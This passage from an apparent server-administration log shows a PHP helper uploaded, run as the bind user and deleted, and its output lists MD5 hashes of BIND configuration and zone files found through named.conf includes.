MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 6e0e1cd91e9c100ac56c82cc9cbc9b84
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:06:32: Establishing a connection
2026-02-09 15:06:32: 

PUT: /tmp/pkp504082

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:06:32: 

runuser -l bind -s /bin/bash -c '/tmp/pkp504082; rm /tmp/pkp504082'

2026-02-09 15:06:32: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 6e0e1cd91e9c100ac56c82cc9cbc9b84
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:08:22: Establishing a connection
2026-02-09 15:08:22: Establishing a connection
2026-02-09 15:08:23: 

PUT: /tmp/pkp674896

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:08:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp674896; rm /tmp/pkp674896'

2026-02-09 15:08:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
